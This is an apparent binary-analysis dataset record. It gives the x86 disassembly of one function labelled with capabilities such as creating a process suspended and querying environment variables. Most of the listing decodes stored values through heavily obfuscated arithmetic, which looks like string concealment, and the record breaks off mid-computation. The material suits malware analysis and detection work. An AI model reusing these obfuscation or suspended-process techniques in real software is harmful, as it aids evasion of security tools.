Function at 0x444150
Capabilities:
Create process on windows
Create process suspended
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x138
cmp dword [0x474664], 0
jne 0x444b5f
mov ax, word [0x473588]
mov cx, ax
and cx, 0xb036
shl cx, 1
add ax, 0xb036
sub ax, cx
mov word [0x473592], ax
mov ax, word [0x47358a]
mov cx, ax
xor cx, 0xffff
mov dx, ax
and dx, cx
mov cx, ax
xor cx, cx
mov si, ax
add si, cx
sub si, dx
mov cx, si
xor cx, 0xffff
xor si, 0xffff
or cx, si
xor cx, 0xffff
or cx, 0
and cx, 0xffff
xor cx, 0xffff
mov dx, cx
and dx, 0x4ed1
xor dx, 0xffff
add cx, 0x4ed1
add cx, 1
add cx, dx
xor cx, 0xffff
or ax, 0xb12e
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
mov si, ax
xor si, 0xffff
and dx, si
or cx, ax
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
xor dx, 0xffff
mov word [0x473594], dx
mov cx, word [0x47358c]
mov ax, cx
and ax, ax
xor ax, 0xffff
and ax, 0xd47f
xor ax, 0xffff
and cx, 0x2b80
xor cx, 0xffff
and ax, cx
xor ax, 0xffff
mov word [0x473596], ax
mov ax, word [0x47358e]
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
or cx, 0xf438
xor cx, 0xffff
and cx, 0xffff
and ax, 0xf438
or cx, ax
mov word [0x473598], cx
mov ax, word [0x473590]
xor ax, 0x176c
mov word [0x47359a], ax
mov ax, word [0x4735cc]
xor ax, 0x29ce
mov word [0x4735d6], ax
mov cx, word [0x4735ce]
mov ax, cx
xor ax, 0xffff
and ax, 0xda12
mov dx, cx
and dx, 0x25ed
or ax, dx
xor ax, 0x25ed
and ax, 0x6498
mov dx, cx
xor dx, 0x9b67
xor dx, 0xffff
or cx, 0x9b67
and cx, dx
mov dx, ax
or dx, cx
xor dx, 0xffff
xor ax, 0xffff
xor cx, 0xffff
and ax, cx
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov ax, dx
or ax, ax
xor ax, 0xffff
or ax, 0x4b8b
xor ax, 0xffff
xor dx, 0xffff
and dx, 0x4b8b
or ax, dx
xor ax, 0xffff
mov word [0x4735d8], ax
mov ax, word [0x4735d0]
mov cx, ax
xor cx, 0xffff
and cx, 0x7175
mov dx, ax
and dx, 0x8e8a
or cx, dx
xor cx, 0x1813
mov dx, cx
and dx, 0xffff
shl dx, 1
add cx, 0xffff
sub cx, dx
and cx, 0x6966
shl cx, 1
sub cx, 0x6966
sub ax, cx
mov word [0x4735da], ax
mov cx, word [0x4735d2]
mov ax, cx
and ax, ax
xor ax, 0xffff
and ax, 0x4a68
xor ax, 0xffff
xor cx, 0xffff
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
or dx, 0x4a68
and ax, dx
xor ax, 0xffff
mov word [0x4735dc], ax
mov ax, word [0x4735d4]
mov cx, ax
xor cx, 0xffff
and cx, 0x7d84
and ax, 0x827b
or cx, ax
xor cx, 0x9376
mov word [0x4735de], cx
mov ax, word [0x47359c]
xor ax, 0x36fd
mov word [0x4735aa], ax
mov ax, word [0x47359e]
xor ax, 0xd15
mov word [0x4735ac], ax
mov ax, word [0x4735a0]
mov cx, ax
and cx, 0x2f35
mov si, cx
and si, 0xfffd
mov dx, cx
xor dx, 0xffff
and dx, 2
imul dx, si
mov si, cx
and si, 2
or cx, 2
imul cx, si
add cx, dx
add ax, 0x2f35
sub ax, cx
mov word [0x4735ae], ax
mov ax, word [0x4735a2]
xor ax, 0x5852
mov word [0x4735b0], ax
mov ax, word [0x4735a4]
mov cx, ax
xor cx, 0xd4ac
and cx, cx
xor cx, 0xffff
xor cx, 0xffff
or cx, 0
and cx, 0xffff
xor cx, 0xffff
and cx, 0xd4ac
shl cx, 1
sub cx, 0xd4ac
mov dx, ax
xor dx, cx
xor cx, 0xffff
and ax, cx
shl ax, 1
sub ax, dx
mov word [0x4735b2], ax
mov cx, word [0x4735a6]
mov ax, cx
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
mov si, dx
xor si, 0xffff
mov di, ax
and di, si
mov si, ax
xor si, dx
add ax, si
sub ax, di
mov dx, ax
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub dx, 0xffff
sub ax, dx
or ax, 0x9f24
mov dx, cx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub dx, 0xffff
sub cx, dx
mov dx, cx
and dx, 0x60db
xor cx, 0x60db
or dx, cx
and ax, dx
xor ax, 0xffff
mov word [0x4735b4], ax
mov cx, word [0x4735a8]
mov ax, cx
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0xf7b0
and cx, 0xf7b0
mov dx, cx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub dx, 0xffff
sub cx, dx
mov dx, ax
add dx, 1
xor ax, 0xffff
or ax, cx
add ax, dx
xor ax, 0xffff
mov word [0x4735b6], ax
mov ax, word [0x4735b8]
mov dx, ax
or dx, dx
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
mov si, ax
xor si, 0xffff
and cx, si
or dx, cx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
or dx, 0
mov cx, dx
xor cx, 0x3027
and cx, dx
xor cx, 0xffff
xor ax, 0xffff
and ax, ax
xor ax, 0xffff
and ax, 0x3027
xor ax, 0xffff
and cx, ax
xor cx, 0xffff
and cx, 0xffff
or cx, 0
mov word [0x4735c2], cx
mov ax, word [0x4735ba]
mov cx, ax
xor cx, 0xffff
or cx, 0x547b
mov dx, ax
and dx, 0xab84
xor dx, 0xffff
and cx, dx
xor cx, 0xffff
mov dx, cx
xor dx, 0xffff
mov si, dx
and si, 2
or dx, 2
xor dx, 0xffff
imul dx, si
mov si, cx
and si, 2
or cx, 2
imul cx, si
add cx, dx
add ax, 0xab84
sub ax, cx
mov word [0x4735c4], ax
mov ax, word [0x4735bc]
xor ax, 0x4a68
mov word [0x4735c6], ax
mov ax, word [0x4735be]
mov cx, ax
and cx, 0x9bc7
mov si, cx
and si, 0xfffd
mov dx, cx
xor dx, 0xffff
and dx, 2
imul dx, si
mov si, cx
and si, 2
or cx, 2
imul cx, si
add cx, dx
add ax, 0x9bc7
sub ax, cx
mov word [str.iyc_], ax
mov cx, word [0x4735c0]
mov ax, cx
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
and ax, dx
or ax, 0x165d
xor ax, 0xffff
xor cx, 0xffff
and cx, 0x165d
or ax, cx
xor ax, 0xffff
mov word [0x4735ca], ax
mov ax, word [0x4735e0]
xor ax, 0x8f9a
mov word [0x473620], ax
mov ax, word [0x4735e2]
mov cx, ax
and cx, 0x9c46
mov dx, cx
xor dx, 0xffff
mov si, dx
and si, 2
or dx, 2
xor dx, 0xffff
imul dx, si
mov si, cx
and si, 2
or cx, 2
imul cx, si
add cx, dx
add ax, 0x9c46
sub ax, cx
mov word [0x473622], ax
mov ax, word [0x4735e4]
mov cx, ax
and cx, 0xe583
shl cx, 1
add ax, 0xe583
sub ax, cx
mov word [0x473624], ax
mov ax, word [0x4735e6]
xor ax, 0xbcb4
mov word [0x473626], ax
mov ax, word [0x4735e8]
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
mov dx, ax
sub dx, cx
mov cx, dx
xor cx, 0xffff
xor dx, 0xffff
and cx, dx
or cx, 0xe749
xor cx, 0xffff
and ax, 0xe749
or cx, ax
xor cx, 0xcde9
mov word [0x473628], cx
mov cx, word [0x4735ea]
mov ax, cx
xor ax, 0xffff
mov dx, ax
xor dx, 0xfaa2
xor dx, 0xffff
or ax, 0xfaa2
and ax, dx
and cx, 0x55d
or ax, cx
xor ax, 0x93d4
mov word [0x47362a], ax
mov ax, word [0x4735ec]
xor ax, 0xfef
mov word [0x47362c], ax
mov ax, word [str._Yqe]
mov cx, ax
xor cx, 0x5959
xor cx, 0xffff
and cx, 0x5959
shl cx, 1
sub cx, 0x5959
sub ax, cx
mov word [0x47362e], ax
mov ax, word [0x4735f0]
xor ax, 0x651d
mov word [0x473630], ax
mov cx, word [0x4735f2]
mov dx, cx
xor dx, 0xffff
and dx, 0x9ece
and cx, 0x6131
mov ax, dx
xor ax, 0xffff
xor dx, 0xffff
or ax, dx
and cx, cx
xor cx, 0xffff
xor ax, 0xffff
xor cx, 0xffff
or ax, cx
mov cx, ax
xor cx, 0xffff
and cx, 0x91c
and ax, 0xf6e3
or cx, ax
mov word [0x473632], cx
mov ax, word [0x4735f4]
mov dx, ax
and dx, 0x81e6
shl dx, 1
mov cx, ax
add cx, 0x81e6
sub cx, dx
xor cx, 0xffff
xor cx, 0xffff
xor cx, 0x81e6
and cx, 0x81e6
shl cx, 1
sub cx, 0x81e6
sub ax, cx
mov word [0x473634], ax
mov ax, word [0x4735f6]
mov cx, ax
and cx, 0x56bd
shl cx, 1
sub ax, 0x69e2
add ax, 0x56bd
add ax, 0x69e2
xor cx, 0xffff
add ax, cx
add ax, 1
mov word [0x473636], ax
mov ax, word [0x4735f8]
mov cx, ax
and cx, 0xe02a
shl cx, 1
add ax, 0xe02a
sub ax, cx
mov word [0x473638], ax
mov ax, word [0x4735fa]
mov dx, ax
add dx, 1
mov cx, ax
xor cx, 0xffff
or cx, ax
add cx, dx
and cx, cx
xor cx, 0xffff
xor cx, 0xffff
or cx, 0
xor cx, 0xffff
or cx, 0
xor cx, 0xffff
or cx, 0xd040
and ax, 0xd040
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub dx, 0xffff
sub cx, dx
xor ax, 0xffff
or cx, ax
mov word [0x47363a], cx
mov ax, word [0x4735fc]
xor ax, 0x429a
mov word [0x47363c], ax
mov ax, word [0x4735fe]
xor ax, 0x7ea9
mov word [0x47363e], ax
mov cx, word [0x473600]
mov ax, cx
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
and ax, dx
mov dx, cx
or dx, dx
xor dx, 0xffff
xor ax, 0xffff
xor dx, 0xffff
and ax, dx
mov dx, ax
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub dx, 0xffff
sub ax, dx
and ax, 0x9ebd
xor ax, 0xffff
xor cx, 0xffff
mov dx, cx
and dx, 0x9ebd
xor dx, 0xffff
add cx, 0x9ebd
add cx, 1
add cx, dx
xor ax, 0xffff
xor cx, 0xffff
and ax, ax
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
xor ax, 0xffff
xor dx, 0xffff
or ax, dx
mov word [0x473640], ax
mov ax, word [0x473602]
xor ax, 0xf729
mov word [0x473642], ax
mov ax, word [0x473604]
xor ax, 0x1787
mov word [0x473644], ax
mov ax, word [0x473606]
xor ax, 0x6f8f
mov word [0x473646], ax
mov ax, word [0x473608]
mov cx, ax
xor cx, 0xffff
and cx, 0x66f9
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
and ax, 0x9906
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
mov cx, ax
xor cx, 0xffff
xor ax, 0xffff
or cx, ax
and dx, cx
xor dx, 0xffff
mov word [0x473648], dx
mov ax, word [0x47360a]
xor ax, 0xcd03
mov word [0x47364a], ax
mov ax, word [str.dG0W43]
xor ax, 0xa0ba
mov word [str.cg_na_T], ax
mov cx, word [0x47360e]
mov ax, cx
xor ax, 0xffff
and ax, 0xfa05
mov dx, cx
and dx, 0x5fa
or ax, dx
xor ax, 0x5fa
and ax, 0xeeab
mov dx, cx
add dx, 1
xor cx, 0xffff
or cx, 0x1154
add cx, dx
or ax, cx
xor ax, 0xa9ef
mov word [0x47364e], ax
mov ax, word [0x473610]
mov cx, ax
xor cx, 0x5712
xor cx, 0xffff
and cx, 0x5712
shl cx, 1
sub cx, 0x5712
sub ax, cx
mov word [0x473650], ax
mov ax, word [0x473612]
xor ax, 0x3311
mov word [0x473652], ax
mov ax, word [0x473614]
xor ax, 0xfe77
mov word [0x473654], ax
mov ax, word [0x473616]
mov cx, ax
and cx, 0x8531
shl cx, 1
add ax, 0x8531
sub ax, cx
mov word [0x473656], ax
mov ax, word [0x473618]
xor ax, 0x2118
mov word [0x473658], ax
mov dword [0x474664], 1
push eax
mov ebx, esp
push eax
mov edi, esp
push eax
mov esi, esp
push eax
mov dword [ebp - 0x10], esp
push eax
mov dword [ebp - 0x4c], esp
push eax
mov dword [ebp - 0xc0], esp
push eax
mov dword [ebp - 0x80], esp
push eax
mov dword [ebp - 0x48], esp
push eax
mov dword [ebp - 0x14], esp
push eax
mov dword [ebp - 0x7c], esp
push eax
mov dword [ebp - 0x78], esp
push eax
mov dword [ebp - 0x74], esp
push eax
mov dword [ebp - 0xbc], esp
push eax
mov dword [ebp - 0xb8], esp
push eax
mov dword [ebp - 0xb4], esp
push eax
mov dword [ebp - 0x12c], esp
push eax
mov dword [ebp - 0xb0], esp
push eax
mov dword [ebp - 0x44], esp
push eax
mov dword [ebp - 0x40], esp
sub esp, 8
mov dword [ebp - 0x70], esp
push eax
mov dword [ebp - 0x6c], esp
push eax
mov dword [ebp - 0xac], esp
push eax
mov dword [ebp - 0xa8], esp
push eax
mov dword [ebp - 0x128], esp
push eax
mov dword [ebp - 0x124], esp
push eax
mov dword [ebp - 0xa4], esp
push eax
mov dword [ebp - 0xa0], esp
push eax
mov dword [ebp - 0x68], esp
push eax
mov dword [ebp - 0x64], esp
push eax
mov dword [ebp - 0x3c], esp
push eax
mov dword [ebp - 0x120], esp
sub esp, 8
mov dword [ebp - 0x11c], esp
push eax
mov dword [ebp - 0x9c], esp
push eax
mov dword [ebp - 0x98], esp
push eax
mov dword [ebp - 0x60], esp
push eax
mov dword [ebp - 0x5c], esp
push eax
mov dword [ebp - 0x38], esp
push eax
mov dword [ebp - 0x118], esp
sub esp, 8
mov dword [ebp - 0x114], esp
push eax
mov dword [ebp - 0x58], esp
push eax
mov dword [ebp - 0x34], esp
push eax
mov dword [ebp - 0x20], esp
push eax
mov dword [ebp - 0x1c], esp
sub esp, 0x80
mov dword [ebp - 0x54], esp
sub esp, 0x400
mov dword [ebp - 0x18], esp
sub esp, 0x10
mov dword [ebp - 0x10c], esp
push eax
mov dword [ebp - 0x108], esp
push eax
mov dword [ebp - 0x30], esp
sub esp, 0xc
mov dword [ebp - 0x104], esp
sub esp, 0x400
mov dword [ebp - 0x100], esp
sub esp, 0x44
mov dword [ebp - 0xfc], esp
sub esp, 0x10
mov dword [ebp - 0xf8], esp
sub esp, 0xc
mov dword [ebp - 0xf0], esp
sub esp, 0x400
mov dword [ebp - 0xec], esp
sub esp, 0xc
mov dword [ebp - 0xe8], esp
push eax
sub esp, 0x3fc
mov dword [ebp - 0xe4], esp
sub esp, 0x3c
mov dword [ebp - 0xe0], esp
sub esp, 0x400
mov dword [ebp - 0x94], esp
sub esp, 0x44
mov dword [ebp - 0xdc], esp
sub esp, 0x10
mov dword [ebp - 0xd8], esp
sub esp, 8
mov dword [ebp - 0x50], esp
push eax
mov dword [ebp - 0xf4], esp
push eax
mov dword [ebp - 0x110], esp
call fcn.0044a800
mov dword [edi], eax
mov eax, dword [edi]
mov edi, esi
sub esp, 4
mov dword [esp], eax
call fcn.00401420
add esp, 4
mov dword [edi], eax
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.00401940
add esp, 4
cmp eax, 4
je 0x444d55
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.00401a50
add esp, 4
mov dword [ebx], 0
mov eax, dword [ebp - 0x10]
mov dword [eax], 1
jmp 0x446231
mov dword [ebp - 0x84], ebx
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.00401710
add esp, 4
mov ebx, dword [ebp - 0x4c]
mov dword [ebx], eax
mov eax, dword [ebx]
lea ecx, [0x467752]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401900
add esp, 0xc
cmp eax, 0
setne al
test al, 1
jne 0x444dc8
jmp 0x444d9e
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.00401a50
add esp, 4
mov ebx, dword [ebp - 0x84]
mov dword [ebx], 0
mov eax, dword [ebp - 0x10]
mov dword [eax], 1
jmp 0x446231
mov eax, dword [ebx]
lea ecx, [0x467754]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 5
call fcn.00401900
add esp, 0xc
cmp eax, 0
jne 0x444e19
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.00401a50
add esp, 4
mov ebx, dword [ebp - 0x84]
mov dword [ebx], 0
mov eax, dword [ebp - 0x10]
mov dword [eax], 1
jmp 0x446231
mov eax, dword [ebx]
lea ecx, [0x467756]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00401740
add esp, 8
mov ecx, dword [ebp - 0xc0]
mov dword [ecx], eax
mov eax, dword [ebx]
lea ecx, [0x467754]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00401740
add esp, 8
mov ecx, dword [ebp - 0x80]
mov dword [ecx], eax
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov dword [ebp - 0x130], edi
jmp 0x444e6b
mov eax, dword [ebp - 0x48]
mov edi, dword [eax]
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.004019b0
add esp, 4
cmp edi, eax
setb al
test al, 1
mov esi, dword [ebp - 0x14]
jne 0x444ea5
jmp 0x444e91
mov eax, dword [ebp - 0x10]
mov dword [eax], 2
mov edi, dword [ebp - 0x110]
jmp 0x446102
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x80]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.004019c0
add esp, 8
mov dword [esi], eax
mov eax, dword [esi]
lea ecx, [0x467759]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401900
add esp, 0xc
cmp eax, 0
jne 0x444efa
jmp 0x444eec
mov eax, dword [ebp - 0x10]
mov dword [eax], 4
jmp 0x4460dd
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x467759
call fcn.004016c0
add esp, 8
fnstcw word [ebp - 0x2a]
movzx eax, word [ebp - 0x2a]
or eax, 0xc00
mov word [ebp - 0x8e], ax
fldcw word [ebp - 0x8e]
fistp dword [ebp - 0x144]
fldcw word [ebp - 0x2a]
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x7c]
mov dword [ecx], eax
mov eax, ecx
cmp dword [eax], 0
jne 0x44540e
mov eax, dword [esi]
lea ecx, [0x46775b]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.00401900
add esp, 0xc
cmp eax, 0
je 0x445021
mov eax, dword [esi]
lea ecx, [0x46775d]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 5
call fcn.00401900
add esp, 0xc
cmp eax, 0
je 0x445021
mov eax, dword [esi]
lea ecx, [0x46775f]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.00401900
add esp, 0xc
cmp eax, 0
je 0x445021
mov eax, dword [esi]
lea ecx, [0x467761]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401900
add esp, 0xc
cmp eax, 0
je 0x445021
jmp 0x444ff0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
lea ecx, [0x467763]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.00401900
add esp, 0xc
cmp eax, 0
setne al
test al, 1
jne 0x44502f
jmp 0x445021
mov eax, dword [ebp - 0x10]
mov dword [eax], 4
jmp 0x4460dd
mov esi, dword [ebp - 0x14]
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46775b
call fcn.00401650
add esp, 8
mov ecx, dword [ebp - 0x78]
mov dword [ecx], eax
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46775d
call fcn.00401740
add esp, 8
mov ecx, dword [ebp - 0x74]
mov dword [ecx], eax
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46775f
call fcn.00401650
add esp, 8
mov edi, dword [ebp - 0xbc]
mov dword [edi], eax
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x467761
call fcn.004016c0
add esp, 8
fnstcw word [ebp - 0x28]
movzx eax, word [ebp - 0x28]
or eax, 0xc00
mov word [ebp - 0x8c], ax
fldcw word [ebp - 0x8c]
fistp dword [ebp - 0x134]
fldcw word [ebp - 0x28]
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0xb8]
mov dword [ecx], eax
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x467763
call fcn.004016c0
add esp, 8
fnstcw word [ebp - 0x26]
movzx eax, word [ebp - 0x26]
or eax, 0xc00
mov word [ebp - 0x8a], ax
fldcw word [ebp - 0x8a]
fistp dword [ebp - 0x138]
fldcw word [ebp - 0x26]
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0xb4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x78]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.00453c80
add esp, 4
mov ecx, dword [ebp - 0x12c]
mov dword [ecx], eax
mov esi, ecx
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.00453c80
add esp, 4
mov edi, dword [ebp - 0xb0]
mov dword [edi], eax
mov eax, dword [esi]
shl eax, 1
add eax, 2
sub esp, 4
mov dword [esp], eax
call fcn.00453774
add esp, 4
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov eax, dword [edi]
mov edx, eax
and edx, 0xfffffffd
mov ecx, eax
or ecx, 0xfffffffd
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 2
or eax, 2
imul eax, edx
add eax, 0x593dd813
add eax, ecx
sub eax, 0x593dd813
add eax, 2
sub esp, 4
mov dword [esp], eax
call fcn.00453774
add esp, 4
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
mov edi, esi
mov eax, dword [edi]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ecx]
mov esi, dword [ebp - 0x44]
mov edx, dword [esi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0045379f
add esp, 0xc
mov eax, dword [esi]
mov ecx, dword [edi]
mov word [eax + ecx*2], 0
mov edi, dword [ebp - 0xb0]
mov eax, dword [edi]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ecx]
mov esi, dword [ebp - 0x40]
mov edx, dword [esi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0045379f
add esp, 0xc
mov eax, dword [esi]
mov ecx, dword [edi]
mov word [eax + ecx*2], 0
sub esp, 8
mov dword [esp], 1
mov eax, dword [ebp - 0x70]
mov dword [esp + 4], eax
call fcn.0042d4a0
add esp, 8
mov esi, dword [ebp - 0x6c]
mov dword [esi], 0
jmp 0x445232
jmp 0x445234
mov edi, dword [esi]
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.004019b0
add esp, 4
cmp edi, eax
setb al
test al, 1
jne 0x445264
jmp 0x445254
jmp 0x445256
mov eax, dword [ebp - 0x10]
mov dword [eax], 5
jmp 0x4453cf
mov esi, dword [ebp - 0x6c]
mov eax, dword [esi]
mov ecx, dword [ebp - 0x74]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00401960
add esp, 8
mov ecx, dword [ebp - 0xac]
mov dword [ecx], eax
mov eax, dword [ecx]
sub esp, 4
mov dword [esp], eax
call fcn.00401940
add esp, 4
cmp eax, 2
jne 0x4453b4
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.00401690
add esp, 4
mov ecx, dword [ebp - 0xa8]
mov dword [ecx], eax
mov eax, dword [ecx]
sub esp, 4
mov dword [esp], eax
call fcn.00453c80
add esp, 4
mov esi, dword [ebp - 0x128]
mov dword [esi], eax
mov ecx, dword [esi]
mov edx, ecx
and edx, 0xfffffffd
mov eax, ecx
or eax, 0xfffffffd
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
xor edx, 0xffffffff
or edx, 0xfffffffd
xor edx, 0xffffffff
and edx, 0xffffffff
mov edi, ecx
or edi, 2
xor edi, 0xffffffff
or ecx, 2
xor ecx, 0xffffffff
or edi, ecx
xor edi, 0xffffffff
imul edi, edx
add edi, eax
add edi, 2
sub esp, 4
mov dword [esp], edi
call fcn.00453774
add esp, 4
mov edi, dword [ebp - 0x124]
mov dword [edi], eax
mov eax, dword [esi]
mov ecx, dword [ebp - 0xa8]
mov ecx, dword [ecx]
mov edx, dword [edi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0045379f
add esp, 0xc
mov eax, dword [edi]
mov ecx, dword [esi]
mov word [eax + ecx*2], 0
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x40]
mov edx, dword [eax]
mov esi, dword [edi]
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], esi
mov esi, dword [ebp - 0x6c]
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov eax, dword [ebp - 0xd4]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x70]
mov dword [esp + 0x14], eax
call fcn.0040ae70
add esp, 0x18
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.004536d5
add esp, 4
jmp 0x4453b6
mov eax, dword [esi]
and eax, 0xffffffff
xor ecx, ecx
sub ecx, eax
add ecx, 0xffffffff
xor eax, eax
sub eax, ecx
mov dword [esi], eax
jmp 0x445232
sub esp, 4
mov eax, dword [ebp - 0x70]
mov dword [esp], eax
call fcn.0042d5c0
add esp, 4
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.004536d5
add esp, 4
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.004536d5
add esp, 4
mov eax, dword [ebp - 0x10]
jmp 0x4460d7
cmp dword [eax], 1
jne 0x4456ed
jmp 0x445419
call fcn.00406450
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
lea ecx, [0x46775b]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.00401900
add esp, 0xc
cmp eax, 0
setne al
test al, 1
jne 0x44544f
jmp 0x445482
jmp 0x445451
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
lea ecx, [0x46775f]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.00401900
add esp, 0xc
cmp eax, 0
setne al
test al, 1
jne 0x445490
jmp 0x445482
mov eax, dword [ebp - 0x10]
mov dword [eax], 4
jmp 0x4460dd
mov esi, dword [ebp - 0x14]
mov eax, dword [esi]
lea ecx, [0x46775b]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00401650
add esp, 8
mov ecx, dword [ebp - 0xa4]
mov dword [ecx], eax
mov edi, ecx
mov eax, dword [esi]
lea ecx, [0x46775f]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00401650
add esp, 8
mov ecx, dword [ebp - 0xa0]
mov dword [ecx], eax
mov esi, ecx
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.00453c80
add esp, 4
mov ecx, dword [ebp - 0x68]
mov dword [ecx], eax
mov edi, ecx
mov eax, dword [esi]
sub esp, 4
mov dword [esp], eax
call fcn.00453c80
add esp, 4
mov ecx, dword [ebp - 0x64]
mov dword [ecx], eax
mov eax, dword [edi]
mov esi, eax
and esi, 0xfffffffd
mov ecx, eax
or ecx, 0xfffffffd
or ecx, ecx
xor ecx, 0xffffffff
or ecx, 0
xor ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov edx, esi
xor edx, 0xffffffff
mov edi, ecx
and edi, edx
mov dword [ebp - 0xcc], edi
mov edi, ecx
or edi, edx
xor edi, 0xffffffff
imul edi, dword [ebp - 0xcc]
mov edx, ecx
and edx, esi
or ecx, esi
imul ecx, edx
add ecx, edi
mov edx, eax
xor edx, 0xffffffff
mov edi, eax
xor edi, 0xffffffff
and edx, edi
or edx, 0xfffffffd
xor edx, 0xffffffff
or eax, 2
mov edi, eax
xor edi, 0xffffffff
mov esi, edx
and esi, edi
mov edi, edx
xor edi, 0xffffffff
mov dword [ebp - 0xc4], edi
mov edi, eax
and edi, dword [ebp - 0xc4]
imul edi, esi
mov esi, eax
and esi, edx
or eax, edx
imul eax, esi
add eax, edi
mov edx, eax
and edx, ecx
or eax, ecx
